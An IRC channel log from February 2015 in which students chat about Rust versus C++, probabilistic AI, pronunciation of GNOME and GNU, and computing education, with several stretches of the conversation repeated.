[2015-02-05T22:59:19-0500] <bob_twinkles> that and as nice as Rust is, C++ is about as industry standard as it gets
[2015-02-05T22:59:28-0500] <+awe> Rust might change that.
[2015-02-05T22:59:30-0500] <bob_twinkles> 's not going anywhere for a looong time
[2015-02-05T22:59:32-0500] <+awe> It's a very hopeful might.
[2015-02-05T22:59:44-0500] <bob_twinkles> heh
[2015-02-05T22:59:46-0500] <+awe> But it really does have a good shot at stealing away a lot of C++ developers.
[2015-02-05T22:59:47-0500] <bob_twinkles> legacy code though
[2015-02-05T22:59:53-0500] <+awe> Yeah, legacy code is always a big issue.
[2015-02-05T23:00:14-0500] <+awe> But I mean, Java was able to replace a lot of legacy C codebases.
[2015-02-05T23:00:39-0500] <bob_twinkles> yeah 'cause Java has a nice FFI and C has a well-deffined ABI
[2015-02-05T23:00:46-0500] <bob_twinkles> C++ name mangling is just ?????
[2015-02-05T23:01:02-0500] <+awe> True story.
[2015-02-05T23:01:13-0500] <assface> ^
[2015-02-05T23:01:21-0500] <assface> I still liek C++, if only for the STL
[2015-02-05T23:01:25-0500] <assface> otherwise I'd be using C
[2015-02-05T23:02:06-0500] <+awe> Anyone know of any good sources to learn about natural language understanding?
[2015-02-05T23:02:14-0500] <+awe> assface: you should use Rust
[2015-02-05T23:02:17-0500] <+awe> :D
[2015-02-05T23:02:21-0500] <+LittleBobbyTables> awe, go read the psychology of intelligence analysis
[2015-02-05T23:02:32-0500] <bob_twinkles> yeah, I like the simplicity of C but not having templates and extensible types is a pain in the ass
[2015-02-05T23:03:22-0500] <+awe> LittleBobbyTables: that doesn't sound like what I want?
[2015-02-05T23:03:51-0500] <+LittleBobbyTables> it's not
[2015-02-05T23:03:53-0500] <+LittleBobbyTables> but read it anyway
[2015-02-05T23:04:48-0500] <+awe> Lol.
[2015-02-05T23:04:50-0500] <+awe> Maybe someday.
[2015-02-05T23:04:52-0500] <assface> bob_twinkles: yeah, polymorphism is nice too
[2015-02-05T23:05:25-0500] <assface> also, Rust's syntax really weirds me out for some reason
[2015-02-05T23:05:48-0500] <bob_twinkles> I think it's the use of "fn"
[2015-02-05T23:05:58-0500] <bob_twinkles> there's just something fundamentally wrong with that
[2015-02-05T23:06:02-0500] <assface> ^
[2015-02-05T23:06:19-0500] <+awe> Lol.
[2015-02-05T23:06:21-0500] <+awe> I like it.
[2015-02-05T23:07:04-0500] <+awe> Argh, probabilistic AI stuff is so fucking cool
[2015-02-05T23:07:15-0500] <assface> or maybe it's the curly braces inside parentheses
[2015-02-05T23:07:38-0500] <+awe> assface: wat?
[2015-02-05T23:08:03-0500] <alokpathy> Mustaches?
[2015-02-05T23:08:15-0500] <+awe> That happens, but only in a rather specific context really.
[2015-02-05T23:08:20-0500] <+awe> Well, I guess a few contexts.
[2015-02-05T23:08:23-0500] <bob_twinkles> speaking of stupid syntax tricks, this is the way I'm specifying the scene currently : http://pastebin.com/R2DnnxrC
[2015-02-05T23:08:41-0500] <+awe> It makes me sad that the probability approach to AI isn't really a thing that happens anymor.
[2015-02-05T23:08:43-0500] <+awe> anymore*
[2015-02-05T23:08:49-0500] <+awe> I think it's so neat.
[2015-02-05T23:09:00-0500] <assface> it works fine for game AIs
[2015-02-05T23:09:05-0500] <+awe> Maybe it is still a thing and JacobEdelman misleads me.
[2015-02-05T23:09:05-0500] <+hardmath123> awe: a while back I wrote a thing that ran sentiment analysis on the N most recent IRC messages and graphed it.
[2015-02-05T23:09:08-0500] <assface> and by that I mean really, really badly
[2015-02-05T23:09:13-0500] <+hardmath123> awe: so you could see mood fluctuations in a channel.
[2015-02-05T23:09:17-0500] <+awe> hardmath123: That's very cool.
[2015-02-05T23:09:44-0500] <+awe> I'd like to do that.
[2015-02-05T23:09:48-0500] <+hardmath123> awe: I wanted to apply that to my parents' average temperament over a few months to see if I can find a pattern and predict when the're hostile.
[2015-02-05T23:10:13-0500] <assface> or you could think about the reasons they have to be angry
[2015-02-05T23:10:19-0500] <assface> at any given moment
[2015-02-05T23:13:28-0500] <+awe> hardmath123: Other things I'd like to do would be maybe separate conversations. I think that could be cool.
[2015-02-05T23:17:04-0500] <+awe> hardmath123: http://people.cs.umass.edu/~mcgregor/research/research.html
[2015-02-05T23:17:20-0500] <+awe> hardmath123: I feel like I'd be really interested in these topics, but that I'm 100% too dumb to help.
[2015-02-05T23:17:43-0500] <assface> don't worry, awe
[2015-02-05T23:17:47-0500] <assface> I feel that way all the time
[2015-02-05T23:18:05-0500] <+hardmath123> Wow, this guy really likes streams.
[2015-02-05T23:18:09-0500] <+awe> He does.
[2015-02-05T23:18:09-0500] <alokpathy> Same here.
[2015-02-05T23:18:12-0500] <+awe> He's great.
[2015-02-05T23:18:18-0500] <+awe> He's the best professor I've had thus far.
[2015-02-05T23:18:27-0500] <alokpathy> Oh, wait, oops. I meant to go off of what assface said.
[2015-02-05T23:18:50-0500] <assface> >tfw accidentally start a conversation
[2015-02-05T23:18:52-0500] <+awe> alokpathy: I knew what you meant, don't worry.
[2015-02-05T23:19:04-0500] <alokpathy> woo, I'm understood :D
[2015-02-05T23:19:09-0500] <assface> /3/3
[2015-02-05T23:19:21-0500] <+hardmath123> "Declaring Independence via the Sketching of Sketches," i.e. when Ben Franklin published a comic of a guy throwing tea into the sea.
[2015-02-05T23:19:39-0500] <+hardmath123> alokpathy: wait, so you *don't* like streams?
[2015-02-05T23:19:49-0500] <+awe> hardmath123: lol'd
[2015-02-05T23:20:01-0500] <assface> *heresy detected*
[2015-02-05T23:21:08-0500] <alokpathy> hardmath123: Admittedly, I don't know much about them, but they seem cool.
[2015-02-05T23:21:27-0500] <+hardmath123> alokpathy: streams are awesome!
[2015-02-05T23:21:46-0500] <assface> alokpathy: you know, those things that move data
[2015-02-05T23:21:47-0500] <+hardmath123> awe: In general, the only way I've gotten less dumb is by talking to people infinitely less dumb than I am.
[2015-02-05T23:22:15-0500] <alokpathy> hardmath123: I can tell :P I probably should learn more about them.
[2015-02-05T23:22:18-0500] <alokpathy> assface: I got that part LOL
[2015-02-05T23:22:31-0500] <assface> glad I could help :P
[2015-02-05T23:22:47-0500] <+hardmath123> awe: For example, on my first day of jazz band, I was literally sitting there with my hands folded by the end, because I just kept losing my place.
[2015-02-05T23:22:55-0500] <+hardmath123> awe: I was terrified. Were they going to kick me out?
[2015-02-05T23:23:26-0500] <+hardmath123> awe: Anywho, that continued for like a month, and then eventually, I started fitting in.
[2015-02-05T23:24:25-0500] <assface> and the moral of the story is, never try new things
[2015-02-05T23:26:02-0500] <+awe> Maybe I should just talk to him and tell him "Hey, look, I'm really interesting in PLT and I'm really interested in probability and theory stuff. I want to do functional language development, and I have a reasonable understanding of how PLT research goes on. That being said, I really don't know what's going on in the field of probability but it's something else that I get really excited about and if you have any space for a really passionate undergrad, pls senpai pls"
[2015-02-05T23:28:19-0500] <alokpathy> Yes, verbatim
[2015-02-05T23:29:03-0500] <+hardmath123> That sounds like a good plan.
[2015-02-05T23:30:02-0500] <+awe> It's somewhat frustrating that Emery isn't very responsive.
[2015-02-05T23:31:53-0500] <+awe> But I don't know. Maybe I'll talk to Andrew and he'll be like "Oh, lol. I wanted to make a streaming programming language. I'll set up a meeting with Emery."
[2015-02-05T23:31:59-0500] <assface> so, after looking at Rust, I've decided I hate its syntax
[2015-02-05T23:32:02-0500] <+awe> Me too.
[2015-02-05T23:32:05-0500] <+awe> Well, I don't hate it.
[2015-02-05T23:32:11-0500] <+awe> But I don't love it.
[2015-02-05T23:32:15-0500] <+awe> It's very eh.
[2015-02-05T23:33:24-0500] <assface> I legit hate it
[2015-02-05T23:33:32-0500] <assface> I can tell I would never be able to get anything done with it
[2015-02-05T23:33:41-0500] <+awe> You'd probably be fine.
[2015-02-05T23:33:46-0500] <+awe> It seems worse coming in than it really is.
[2015-02-05T23:34:01-0500] <assface> mebbe
[2015-02-05T23:34:08-0500] <+awe> I know where you're coming from.
[2015-02-05T23:34:11-0500] <+awe> I was really put off by it.
[2015-02-05T23:34:16-0500] <assface> I'll stick to C/C++ for now though
[2015-02-05T23:34:25-0500] <+awe> I put off learning Rust for three months because of it.
[2015-02-05T23:35:03-0500] <assface> also.... its main feature is that it has a static analyzer built in
[2015-02-05T23:35:20-0500] <+awe> It's main feature is that it's a memory-safe systems language.
[2015-02-05T23:35:35-0500] <assface> but it fixes it all at compile time
[2015-02-05T23:35:51-0500] <assface> IE it uses a static analyzer
[2015-02-05T23:35:55-0500] <+awe> Doesn't fix it at compile-time.
[2015-02-05T23:35:59-0500] <+awe> It does not compile.
[2015-02-05T23:36:13-0500] <bob_twinkles> it's a very good, well informed static analyzer though
[2015-02-05T23:36:22-0500] <assface> ^
[2015-02-05T23:36:41-0500] <+awe> I feel like it's more complicated than that, but maybe I just don't have a strong grasp of static analyzers.
[2015-02-05T23:36:48-0500] <assface> awe: you'll have a hard time convincing me there's such a thing as an interpreted systems programming language
[2015-02-05T23:36:54-0500] <+awe> What?
[2015-02-05T23:36:58-0500] <+awe> Rust isn't interpreted.
[2015-02-05T23:37:02-0500] <assface> you said it doesn't compile
[2015-02-05T23:37:07-0500] <+awe> No, I mean it fails to compile.
[2015-02-05T23:37:14-0500] <assface> oh
[2015-02-05T23:37:14-0500] <+awe> i.e. it errors.
[2015-02-05T23:37:49-0500] <assface> yeah
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[2015-02-06T00:08:11-0500] <+awe> hi calc0000 
[2015-02-06T00:08:14-0500] <calc0000> maybe that was it
[2015-02-06T00:08:35-0500] <calc0000> have i been in here or have i just joined?
[2015-02-06T00:08:40-0500] <calc0000> znc makes things indeterminate
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[2015-02-06T00:09:36-0500] <calc0000> thanks
[2015-02-06T00:09:39-0500] <+awe> You just joined.
[2015-02-06T00:09:44-0500] <calc0000> i was playing with boot2docker today on our openstack instance
[2015-02-06T00:09:51-0500] <calc0000> it took like 2 minutes to boot up
[2015-02-06T00:09:55-0500] <calc0000> i couldn't even figure out what it was doing
[2015-02-06T00:37:55-0500] <+awe> calc0000: Jerking it.
[2015-02-06T00:42:46-0500] <+LittleBobbyTables> omg
[2015-02-06T00:43:04-0500] <+LittleBobbyTables> this guy for my lecture class thing (labsim)
[2015-02-06T00:43:09-0500] <+LittleBobbyTables> doesn't know how to pronounce shit
[2015-02-06T00:43:25-0500] <+LittleBobbyTables> GNOME--> guh gnome. KDE --> kuh deh
[2015-02-06T00:44:36-0500] <+ubuntor> guhnome is the correct pronunciation tho
[2015-02-06T00:45:09-0500] <+ubuntor> or at least an accepted one
[2015-02-06T00:45:24-0500] <+awe> No.
[2015-02-06T00:45:27-0500] <+awe> It's pronounced nome.
[2015-02-06T00:46:06-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=hVfvQ1mhTsE
[2015-02-06T00:46:07-0500] <+ubuntor> GNOME (pronounced /ɡˈnoʊm/[5] or /ˈnoʊm/[6])
[2015-02-06T00:46:45-0500] <+awe> ubuntor: sauce?
[2015-02-06T00:46:53-0500] <+ubuntor> wikipedia :P
[2015-02-06T00:47:02-0500] <+ubuntor> https://www.youtube.com/watch?v=n77cwRJUrLg
[2015-02-06T00:47:25-0500] <+awe> Why?
[2015-02-06T00:47:30-0500] <+awe> WHY ARE THEY SAYING THAT?
[2015-02-06T00:47:33-0500] <+awe> IT'S WRONG.
[2015-02-06T00:48:32-0500] <+awe> Probably because gnu.
[2015-02-06T00:49:35-0500] <+ubuntor> Miguel di Icaza: "I guess guhnome, nome, ge-nome are all good pronunciations. Just use the one that you feel comfortable with. We are flexible."
[2015-02-06T00:50:26-0500] <+awe> This bothers me.
[2015-02-06T00:50:31-0500] <+awe> Pick a fucking pronunciation for your project name.
[2015-02-06T00:50:38-0500] <+LittleBobbyTables> GNOME doesn't stand for anything either
[2015-02-06T00:50:50-0500] <+awe> And GNU being prnounced guh-nu is also annoying.
[2015-02-06T00:51:02-0500] <+LittleBobbyTables> So we can't use the "it's not giraffe-ical interface format"
[2015-02-06T00:51:03-0500] <+awe> It's from a humorous song.
[2015-02-06T00:51:15-0500] <+LittleBobbyTables> gnu is pronounced nyoo
[2015-02-06T00:51:28-0500] <bob_twinkles> do you guys say g-u-i or gooey?
[2015-02-06T00:51:30-0500] <+awe> The animal or the software suite/kernel?
[2015-02-06T00:51:36-0500] <+LittleBobbyTables> yes.
[2015-02-06T00:51:40-0500] <+awe> bob_twinkles: I read it as an initialism.
[2015-02-06T00:51:51-0500] <+LittleBobbyTables> gooey
[2015-02-06T00:51:51-0500] <+awe> LittleBobbyTables: the official pronunciation of GNU is with a hard g.
[2015-02-06T00:52:02-0500] <+LittleBobbyTables> shh.
[2015-02-06T00:52:04-0500] <bob_twinkles> LittleBobbyTables: you're a bad person
[2015-02-06T00:52:16-0500] <+LittleBobbyTables> works rubs off on me
[2015-02-06T00:52:25-0500] <+LittleBobbyTables> I still don't say "earl" though.
[2015-02-06T00:52:46-0500] <bob_twinkles> I've never encountered anyone who does that
[2015-02-06T00:52:49-0500] <+awe> bob_twinkles: I don't care if acronyms are supposedly pronounceable. If it isn't pronounced in a sane way, I will not say it. 
[2015-02-06T00:52:52-0500] <+awe> LittleBobbyTables: wat?
[2015-02-06T00:53:01-0500] <+LittleBobbyTables> url to earl
[2015-02-06T00:53:13-0500] <+LittleBobbyTables> It must be an older person thing, though.
[2015-02-06T00:53:24-0500] <+awe> Gross.
[2015-02-06T00:53:28-0500] <+LittleBobbyTables> Everyone like... 35+ says earl
[2015-02-06T00:53:30-0500] <+awe> It's an initialism.
[2015-02-06T00:54:38-0500] <+LittleBobbyTables> Go read the Psychology of Intelligence Analysis.
[2015-02-06T00:57:34-0500] <+awe> N.
[2015-02-06T00:58:49-0500] <+LittleBobbyTables> Y.
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[2015-02-06T01:35:39-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=Bp7evCQWBgU
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[2015-02-06T10:09:37-0500] <+hardmath123> lol people resharing my python rant think i'm an "educator"
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[2015-02-06T10:10:16-0500] <+hardmath123> i suppose it's not worth clarifying that when I said "my intro CS class", I meant the one I would hypothetically be a student in...
[2015-02-06T10:25:12-0500] <nezorg> Tokyo's a pretty cool place!
[2015-02-06T10:25:12-0500] <awebot> nezorg: 17 hours ago, ubuntor said good luck at seccon!
[2015-02-06T10:25:18-0500] <nezorg> thanks!
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[2015-02-06T10:55:17-0500] <JacobEdelman> hmmm... tamini hasn't been on in a while
[2015-02-06T10:55:27-0500] <JacobEdelman> jwoglom: any idea why?
[2015-02-06T10:55:55-0500] <JacobEdelman> hardmath123: lol :P, you're way to smart to be an educator
[2015-02-06T11:00:01-0500] <Hyper> JacobEdelman: aww, that's not nice
[2015-02-06T11:00:07-0500] <Hyper> I know some really smart educators
[2015-02-06T11:08:55-0500] <+jwoglom> JacobEdelman: I dunno
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[2015-02-06T11:27:16-0500] <JacobEdelman> Hyper: who teach hs students CS? I mean, I like my cs teacher, but when it comes to CS hardmath123 definitely knows more than him
[2015-02-06T11:27:44-0500] <Hyper> my hs cs teachers were awesome :(
[2015-02-06T11:28:01-0500] <Hyper> I guess that's not quite generally applicable, though
[2015-02-06T11:28:02-0500] <Hyper> :(
[2015-02-06T11:28:21-0500] <JacobEdelman> thats just cause you went to a specialized tech/math school and all
[2015-02-06T11:28:32-0500] <Hyper> yeah I guess so
[2015-02-06T11:28:48-0500] <Hyper> JacobEdelman: SO HOW MANY EPISODES DO YOU HAVE LEFT OF GC?
[2015-02-06T11:29:35-0500] <JacobEdelman> like 5 or so
[2015-02-06T11:29:41-0500] <JacobEdelman> I'll finish it this weekend probaly
[2015-02-06T11:30:17-0500] <Hyper> oh shit so the nuke stuff just happened
[2015-02-06T11:32:37-0500] <+jwoglom> At TJ all of our post-APCS teachers are very good
[2015-02-06T11:32:46-0500] <+jwoglom> (All 2 of them, lol)
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[2015-02-06T00:50:38-0500] <+LittleBobbyTables> GNOME doesn't stand for anything either
[2015-02-06T00:50:50-0500] <+awe> And GNU being prnounced guh-nu is also annoying.
[2015-02-06T00:51:02-0500] <+LittleBobbyTables> So we can't use the "it's not giraffe-ical interface format"
[2015-02-06T00:51:03-0500] <+awe> It's from a humorous song.
[2015-02-06T00:51:15-0500] <+LittleBobbyTables> gnu is pronounced nyoo
[2015-02-06T00:51:28-0500] <bob_twinkles> do you guys say g-u-i or gooey?
[2015-02-06T00:51:30-0500] <+awe> The animal or the software suite/kernel?
[2015-02-06T00:51:36-0500] <+LittleBobbyTables> yes.
[2015-02-06T00:51:40-0500] <+awe> bob_twinkles: I read it as an initialism.
[2015-02-06T00:51:51-0500] <+LittleBobbyTables> gooey
[2015-02-06T00:51:51-0500] <+awe> LittleBobbyTables: the official pronunciation of GNU is with a hard g.
[2015-02-06T00:52:02-0500] <+LittleBobbyTables> shh.
[2015-02-06T00:52:04-0500] <bob_twinkles> LittleBobbyTables: you're a bad person
[2015-02-06T00:52:16-0500] <+LittleBobbyTables> works rubs off on me
[2015-02-06T00:52:25-0500] <+LittleBobbyTables> I still don't say "earl" though.
[2015-02-06T00:52:46-0500] <bob_twinkles> I've never encountered anyone who does that
[2015-02-06T00:52:49-0500] <+awe> bob_twinkles: I don't care if acronyms are supposedly pronounceable. If it isn't pronounced in a sane way, I will not say it. 
[2015-02-06T00:52:52-0500] <+awe> LittleBobbyTables: wat?
[2015-02-06T00:53:00-0500] <+LittleBobbyTables> url to earl
[2015-02-06T00:53:13-0500] <+LittleBobbyTables> It must be an older person thing, though.
[2015-02-06T00:53:24-0500] <+awe> Gross.
[2015-02-06T00:53:28-0500] <+LittleBobbyTables> Everyone like... 35+ says earl
[2015-02-06T00:53:30-0500] <+awe> It's an initialism.
[2015-02-06T00:54:38-0500] <+LittleBobbyTables> Go read the Psychology of Intelligence Analysis.
[2015-02-06T00:57:34-0500] <+awe> N.
[2015-02-06T00:58:49-0500] <+LittleBobbyTables> Y.
[2015-02-06T01:35:39-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=Bp7evCQWBgU
[2015-02-06T10:09:37-0500] <+hardmath123> lol people resharing my python rant think i'm an "educator"
[2015-02-06T10:10:16-0500] <+hardmath123> i suppose it's not worth clarifying that when I said "my intro CS class", I meant the one I would hypothetically be a student in...
[2015-02-06T10:25:12-0500] <nezorg> Tokyo's a pretty cool place!
[2015-02-06T10:25:12-0500] <awebot> nezorg: 17 hours ago, ubuntor said good luck at seccon!
[2015-02-06T10:25:18-0500] <nezorg> thanks!
[2015-02-06T10:55:17-0500] <JacobEdelman> hmmm... tamini hasn't been on in a while
[2015-02-06T10:55:27-0500] <JacobEdelman> jwoglom: any idea why?
[2015-02-06T10:55:55-0500] <JacobEdelman> hardmath123: lol :P, you're way to smart to be an educator
[2015-02-06T11:00:01-0500] <Hyper> JacobEdelman: aww, that's not nice
[2015-02-06T11:00:07-0500] <Hyper> I know some really smart educators
[2015-02-06T11:08:54-0500] <+jwoglom> JacobEdelman: I dunno
[2015-02-06T11:27:16-0500] <JacobEdelman> Hyper: who teach hs students CS? I mean, I like my cs teacher, but when it comes to CS hardmath123 definitely knows more than him
[2015-02-06T11:27:44-0500] <Hyper> my hs cs teachers were awesome :(
[2015-02-06T11:28:01-0500] <Hyper> I guess that's not quite generally applicable, though
[2015-02-06T11:28:02-0500] <Hyper> :(
[2015-02-06T11:28:21-0500] <JacobEdelman> thats just cause you went to a specialized tech/math school and all
[2015-02-06T11:28:32-0500] <Hyper> yeah I guess so
[2015-02-06T11:28:48-0500] <Hyper> JacobEdelman: SO HOW MANY EPISODES DO YOU HAVE LEFT OF GC?
[2015-02-06T11:29:34-0500] <JacobEdelman> like 5 or so
[2015-02-06T11:29:41-0500] <JacobEdelman> I'll finish it this weekend probaly
[2015-02-06T11:30:17-0500] <Hyper> oh shit so the nuke stuff just happened
[2015-02-06T11:32:37-0500] <+jwoglom> At TJ all of our post-APCS teachers are very good
[2015-02-06T11:32:46-0500] <+jwoglom> (All 2 of them, lol)
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[2015-02-06T00:51:02-0500] <+LittleBobbyTables> So we can't use the "it's not giraffe-ical interface format"
[2015-02-06T00:51:03-0500] <+awe> It's from a humorous song.
[2015-02-06T00:51:15-0500] <+LittleBobbyTables> gnu is pronounced nyoo
[2015-02-06T00:51:28-0500] <bob_twinkles> do you guys say g-u-i or gooey?
[2015-02-06T00:51:30-0500] <+awe> The animal or the software suite/kernel?
[2015-02-06T00:51:36-0500] <+LittleBobbyTables> yes.
[2015-02-06T00:51:40-0500] <+awe> bob_twinkles: I read it as an initialism.
[2015-02-06T00:51:51-0500] <+LittleBobbyTables> gooey
[2015-02-06T00:51:51-0500] <+awe> LittleBobbyTables: the official pronunciation of GNU is with a hard g.
[2015-02-06T00:52:02-0500] <+LittleBobbyTables> shh.
[2015-02-06T00:52:04-0500] <bob_twinkles> LittleBobbyTables: you're a bad person
[2015-02-06T00:52:16-0500] <+LittleBobbyTables> works rubs off on me
[2015-02-06T00:52:25-0500] <+LittleBobbyTables> I still don't say "earl" though.
[2015-02-06T00:52:46-0500] <bob_twinkles> I've never encountered anyone who does that
[2015-02-06T00:52:49-0500] <+awe> bob_twinkles: I don't care if acronyms are supposedly pronounceable. If it isn't pronounced in a sane way, I will not say it. 
[2015-02-06T00:52:52-0500] <+awe> LittleBobbyTables: wat?
[2015-02-06T00:53:00-0500] <+LittleBobbyTables> url to earl
[2015-02-06T00:53:13-0500] <+LittleBobbyTables> It must be an older person thing, though.
[2015-02-06T00:53:24-0500] <+awe> Gross.
[2015-02-06T00:53:28-0500] <+LittleBobbyTables> Everyone like... 35+ says earl
[2015-02-06T00:53:30-0500] <+awe> It's an initialism.
[2015-02-06T00:54:38-0500] <+LittleBobbyTables> Go read the Psychology of Intelligence Analysis.
[2015-02-06T00:57:34-0500] <+awe> N.
[2015-02-06T00:58:49-0500] <+LittleBobbyTables> Y.
[2015-02-06T01:35:39-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=Bp7evCQWBgU
[2015-02-06T10:09:37-0500] <+hardmath123> lol people resharing my python rant think i'm an "educator"
[2015-02-06T10:10:16-0500] <+hardmath123> i suppose it's not worth clarifying that when I said "my intro CS class", I meant the one I would hypothetically be a student in...
[2015-02-06T10:25:12-0500] <nezorg> Tokyo's a pretty cool place!
[2015-02-06T10:25:12-0500] <awebot> nezorg: 17 hours ago, ubuntor said good luck at seccon!
[2015-02-06T10:25:18-0500] <nezorg> thanks!
[2015-02-06T10:55:17-0500] <JacobEdelman> hmmm... tamini hasn't been on in a while
[2015-02-06T10:55:27-0500] <JacobEdelman> jwoglom: any idea why?
[2015-02-06T10:55:55-0500] <JacobEdelman> hardmath123: lol :P, you're way to smart to be an educator
[2015-02-06T11:00:01-0500] <Hyper> JacobEdelman: aww, that's not nice
[2015-02-06T11:00:07-0500] <Hyper> I know some really smart educators
[2015-02-06T11:08:54-0500] <+jwoglom> JacobEdelman: I dunno
[2015-02-06T11:27:16-0500] <JacobEdelman> Hyper: who teach hs students CS? I mean, I like my cs teacher, but when it comes to CS hardmath123 definitely knows more than him
[2015-02-06T11:27:44-0500] <Hyper> my hs cs teachers were awesome :(
[2015-02-06T11:28:01-0500] <Hyper> I guess that's not quite generally applicable, though
[2015-02-06T11:28:02-0500] <Hyper> :(
[2015-02-06T11:28:21-0500] <JacobEdelman> thats just cause you went to a specialized tech/math school and all
[2015-02-06T11:28:32-0500] <Hyper> yeah I guess so
[2015-02-06T11:28:48-0500] <Hyper> JacobEdelman: SO HOW MANY EPISODES DO YOU HAVE LEFT OF GC?
[2015-02-06T11:29:34-0500] <JacobEdelman> like 5 or so
[2015-02-06T11:29:41-0500] <JacobEdelman> I'll finish it this weekend probaly
[2015-02-06T11:30:17-0500] <Hyper> oh shit so the nuke stuff just happened
[2015-02-06T11:32:37-0500] <+jwoglom> At TJ all of our post-APCS teachers are very good
[2015-02-06T11:32:46-0500] <+jwoglom> (All 2 of them, lol)
[2015-02-06T12:46:04-0500] <JacobEdelman> jwoglom: my comment towards Hyper applies to you too,  you go to a specialized tech/math school 
[2015-02-06T12:46:19-0500] <+jwoglom> yeah ik
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[2015-02-06T13:23:45-0500] <+awe> JacobEdelman: though, in all actuality, computing should be taught at every school in the same way English and Math are.
[2015-02-06T13:24:07-0500] <JacobEdelman> awe: agreed
[2015-02-06T13:24:25-0500] <+awe> SPJ, I want to be the you of the USA.
[2015-02-06T13:24:37-0500] <+awe> JacobEdelman: SPJ is leading a foundation that's doing exactly that to the UK.
[2015-02-06T13:25:01-0500] <+awe> JacobEdelman: computing education is going to be full K-12.
[2015-02-06T13:25:05-0500] <JacobEdelman> Sarah Palin, Junior?
[2015-02-06T13:25:17-0500] <JacobEdelman> (SPJ)
[2015-02-06T13:25:18-0500] <JacobEdelman> :P
[2015-02-06T13:25:21-0500] <+awe> Simon Peyton Jones, one of the most brilliant minds behind Haskell.
[2015-02-06T13:25:34-0500] <JacobEdelman> ah, that makes more sense
[2015-02-06T13:26:16-0500] <+awe> https://en.wikipedia.org/wiki/Simon_Peyton_Jones
[2015-02-06T13:28:38-0500] <+awe> JacobEdelman: basically, that's my role model.
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[2015-02-06T00:53:00-0500] <+LittleBobbyTables> url to earl
[2015-02-06T00:53:13-0500] <+LittleBobbyTables> It must be an older person thing, though.
[2015-02-06T00:53:24-0500] <+awe> Gross.
[2015-02-06T00:53:28-0500] <+LittleBobbyTables> Everyone like... 35+ says earl
[2015-02-06T00:53:30-0500] <+awe> It's an initialism.
[2015-02-06T00:54:38-0500] <+LittleBobbyTables> Go read the Psychology of Intelligence Analysis.
[2015-02-06T00:57:34-0500] <+awe> N.
[2015-02-06T00:58:49-0500] <+LittleBobbyTables> Y.
[2015-02-06T01:35:39-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=Bp7evCQWBgU
[2015-02-06T10:09:37-0500] <+hardmath123> lol people resharing my python rant think i'm an "educator"
[2015-02-06T10:10:16-0500] <+hardmath123> i suppose it's not worth clarifying that when I said "my intro CS class", I meant the one I would hypothetically be a student in...
[2015-02-06T10:25:12-0500] <nezorg> Tokyo's a pretty cool place!
[2015-02-06T10:25:12-0500] <awebot> nezorg: 17 hours ago, ubuntor said good luck at seccon!
[2015-02-06T10:25:18-0500] <nezorg> thanks!
[2015-02-06T10:55:17-0500] <JacobEdelman> hmmm... tamini hasn't been on in a while
[2015-02-06T10:55:27-0500] <JacobEdelman> jwoglom: any idea why?
[2015-02-06T10:55:55-0500] <JacobEdelman> hardmath123: lol :P, you're way to smart to be an educator
[2015-02-06T11:00:01-0500] <Hyper> JacobEdelman: aww, that's not nice
[2015-02-06T11:00:07-0500] <Hyper> I know some really smart educators
[2015-02-06T11:08:54-0500] <+jwoglom> JacobEdelman: I dunno
[2015-02-06T11:27:16-0500] <JacobEdelman> Hyper: who teach hs students CS? I mean, I like my cs teacher, but when it comes to CS hardmath123 definitely knows more than him
[2015-02-06T11:27:44-0500] <Hyper> my hs cs teachers were awesome :(
[2015-02-06T11:28:01-0500] <Hyper> I guess that's not quite generally applicable, though
[2015-02-06T11:28:02-0500] <Hyper> :(
[2015-02-06T11:28:21-0500] <JacobEdelman> thats just cause you went to a specialized tech/math school and all
[2015-02-06T11:28:32-0500] <Hyper> yeah I guess so
[2015-02-06T11:28:48-0500] <Hyper> JacobEdelman: SO HOW MANY EPISODES DO YOU HAVE LEFT OF GC?
[2015-02-06T11:29:34-0500] <JacobEdelman> like 5 or so
[2015-02-06T11:29:41-0500] <JacobEdelman> I'll finish it this weekend probaly
[2015-02-06T11:30:17-0500] <Hyper> oh shit so the nuke stuff just happened
[2015-02-06T11:32:37-0500] <+jwoglom> At TJ all of our post-APCS teachers are very good
[2015-02-06T11:32:46-0500] <+jwoglom> (All 2 of them, lol)
[2015-02-06T12:46:04-0500] <JacobEdelman> jwoglom: my comment towards Hyper applies to you too,  you go to a specialized tech/math school 
[2015-02-06T12:46:19-0500] <+jwoglom> yeah ik
[2015-02-06T13:23:45-0500] <+awe> JacobEdelman: though, in all actuality, computing should be taught at every school in the same way English and Math are.
[2015-02-06T13:24:06-0500] <JacobEdelman> awe: agreed
[2015-02-06T13:24:25-0500] <+awe> SPJ, I want to be the you of the USA.
[2015-02-06T13:24:37-0500] <+awe> JacobEdelman: SPJ is leading a foundation that's doing exactly that to the UK.
[2015-02-06T13:25:01-0500] <+awe> JacobEdelman: computing education is going to be full K-12.
[2015-02-06T13:25:04-0500] <JacobEdelman> Sarah Palin, Junior?
[2015-02-06T13:25:17-0500] <JacobEdelman> (SPJ)
[2015-02-06T13:25:18-0500] <JacobEdelman> :P
[2015-02-06T13:25:20-0500] <+awe> Simon Peyton Jones, one of the most brilliant minds behind Haskell.
[2015-02-06T13:25:29-0500] <JacobEdelman> ah, that makes more sense
[2015-02-06T13:26:16-0500] <+awe> https://en.wikipedia.org/wiki/Simon_Peyton_Jones
[2015-02-06T13:28:38-0500] <+awe> JacobEdelman: basically, that's my role model.
[2015-02-06T13:46:57-0500] <+awe> hi assface
[2015-02-06T14:03:46-0500] <assface> hi
[2015-02-06T14:28:00-0500] <Hyper> Finally reached water temple on my replay of twilight princess! \o/
[2015-02-06T14:28:08-0500] <Hyper> now it's time to not do that because fuck the water temple
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[2015-02-06T00:53:00-0500] <+LittleBobbyTables> url to earl
[2015-02-06T00:53:13-0500] <+LittleBobbyTables> It must be an older person thing, though.
[2015-02-06T00:53:24-0500] <+awe> Gross.
[2015-02-06T00:53:28-0500] <+LittleBobbyTables> Everyone like... 35+ says earl
[2015-02-06T00:53:30-0500] <+awe> It's an initialism.
[2015-02-06T00:54:38-0500] <+LittleBobbyTables> Go read the Psychology of Intelligence Analysis.
[2015-02-06T00:57:34-0500] <+awe> N.
[2015-02-06T00:58:49-0500] <+LittleBobbyTables> Y.
[2015-02-06T01:35:39-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=Bp7evCQWBgU
